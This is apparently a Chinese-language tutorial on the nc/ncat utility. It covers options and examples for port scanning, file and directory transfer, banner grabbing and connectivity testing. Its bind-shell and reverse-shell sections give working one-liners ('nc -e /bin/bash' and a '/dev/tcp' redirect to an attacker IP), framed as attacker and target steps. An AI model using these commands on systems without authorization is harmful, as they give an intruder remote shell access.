nc (ncat)
Ncat is a feature-packed networking utility which reads and writes data across networks from the command line；
nc(ncat)：Ncat是一个功能丰富的网络实用工具；支持端口监听、远程通信、文件传输、端口扫描、反向Shell、端口转发功能；
格式：ncat [OPTIONS…] [hostname] [port]
常用参数：
| OPTIONS | 意义 |
|---|
| -l | 使用监听模式，意味着nc被当作server，侦听并接受连接，而非向其它地址发起连接 |
| -p | 设置本地主机使用的通信端口 |
| -s | 设置本地主机送出数据包的IP地址 |
| -u | 使用UDP传输协议 |
| -v | 显示指令执行过程 |
| -w | 设置等待连线的时间 |
| -z | 使用0输入/输出模式，只在扫描通信端口时使用 |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| -c 针对命令的传送，在后面能看到例子
-e 和-c一样的
-b 允许广播
-g 设置路由器通信网关数量，最多设置八个
-G 设置来源路由指向器，其数值为4的倍数。
-h 帮助信息
-i 延迟几秒，通常用户发送以及扫描端口
-k 设置keepalive选项
-n 直接使用ip而不是使用域名
-0 指定文件名称，把往来传输的数据以16进制字码倾倒成该文件保存。
-r 乱数指定本地与远端主机的通信端口
-q 传输结束后几秒断开
-T 设置服务类型
-t 回应telnet协商
-C 结束
|
nc、netcat、ncat区别：
- nc与netcat是一个组件，ncat是nmap分支下的一个命令；
- nc / ncat 在CentOS 上是同一个命令工具，是一个功能丰富的网络实用程序，可通过命令行在网络上读写数据；
- 使用 ncat 时，尽量不要使用 nc，避免与 netcat 冲突；
- 若安装了ncat时，nc、netcat都成了ncat的alias，命令行里输入这三者都是一样的；
netcat和ncat的-z参数是不相等的；- 可通过
rpm -qa|grep nc命令，查看nc是指netcat还是ncat； - Ncat是在原始Netcat之上新增功能二次开发的另一款强大工具，也就是说Netcat有的功能Ncat都具备，并且Ncat还有更多强大的功能。
参考案例：
扫描80端口
1
2
| # nc可用ncat代替
$ nc -nvv 192.168.3.1 80
|
远程通信
1
2
3
4
5
| # ncat 命令在20000端口启动了一个tcp 服务器，所有的标准输出和输入会输出到该端口;
# 输出和输入都在此shell中展示
Server$ nc -l 20000
Client$ nc Server-IP 20000
|
文件传输
1
2
3
4
5
6
7
8
9
10
11
| # 从Client传输文件到Server
# 需要在Server上使用nc监听,server上运行监听命令;
Server$ nc -lp 12345 >> test.log
# Client运行传输命令
Client$ nc -w 1 Server-IP 12345 < xxx.log
# 从Server传输文件到Client
# 需要在Server上使用nc监听,server上运行监听命令;
Server$ nc -lp 12345 < test.log
# Client运行传输命令
Client$ nc -w 1 Server-IP 12345 > xxx.log
|
目录传输
1
2
3
4
5
6
| # 从Client传输文件到Server上;需要在Server上使用nc监听,server上运行监听命令;
# tar zxvf - 通过tar zxvf解压,从管道接收到的数据,`-`表示从管道接收数据;
Server$ nc -l 23456|tar zxvf -
# tar zcvf - 通过tar zcvf压缩,将目录`Directory`压缩后传输到管道中;`-`表示输出到管道中;
Client$ tar zcvf - Directory | nc Server-IP 23456
|
抓取Banner信息
1
2
| # 一旦发现开放的端口，可以容易的使用ncat 连接服务抓取他们的banner
$ nc -v 172.31.100.7 21
|
正向Shell
正向shell是指攻击机主动连接靶机，并取得shell。通俗点说就是靶机自己绑定某个端口，等攻击机连接后将收到的数据给bash或cmd(后文简称shell)，执行结果再丢给攻击机。
1
2
3
4
5
6
7
8
9
10
| # 正向shell是目标机(被攻击方)先执行nc命令，然后攻击机(攻击方)上再进行nc连接，即可反弹shell
# 正向shell需要目标机安装nc
# 正向shell 需要目标机firewalld可过滤
# target: 目标服务器系统(被攻击方)
target$ nc -lkvp 7777 -e /bin/bash
# attack: 攻击者系统(攻击方)
attack$ nc Target-IP 7777
|
反向shell
反向shell就是靶机带着shell来连攻击机，好处显而易见就是不用担心防火墙的问题了，当然也不是没有缺点；缺点就是攻击机的IP必须能支持靶机的主动寻址，换句话来说就是攻击机需要有公网IP地址；举个例子如攻击机是内网ip或经过了NAT，靶机是公网IP，即使取得了命令执行权限靶机也无法将shell弹过来，这是网络环境的问题。
1
2
3
4
5
6
7
| # attack: 攻击者系统(攻击方)
# -k: 当客户端从服务端断开连接后，过一段时间服务端也会停止监听;通过选项 -k 可以强制服务器保持连接并继续监听端口;即使来自客户端的连接断了server也依然会处于待命状态;
attack$ nc -lkvnp 6677
# target: 目标服务器系统(被攻击方)
# -i: 指定断开的时候,单位为秒
Client$ sh -i >& /dev/tcp/192.168.188.69/6677 0>&1
|
测试网速
1
2
3
4
5
| # 服务端
Server$ nc -l <port> > /dev/null
# 客户端
Client$ nc Server-IP <port> < /dev/zero
|
测试连通性
1
2
3
4
5
6
7
8
9
10
11
12
13
| # 测试tcp端口连通性
# nc -vz ip tcp-port
$ nc -zv 192.168.188.188 5432
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.188.188:5432.
Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds.
# 测试udp端口连通性
# nc -uvz ip udp-port
$ nc -uzv 192.168.188.188 7899
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.188.188:7899.
Ncat: Connection refused.
|
端口监听
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # 临时监听TCP端口
# nc -l port >> filename.out 将监听内容输入到filename.out文件中
$ nc -l 7789 >> a.out
# 永久监听TCP端口
# nc -lk port
$ nc -lk 7789 >> a.out
# 临时监听UDP
# nc -lu port
$ nc -lu 7789 >> a.out
# 永久监听UDP
# nc -luk port
$ nc -luk 7789 >> a.out
|
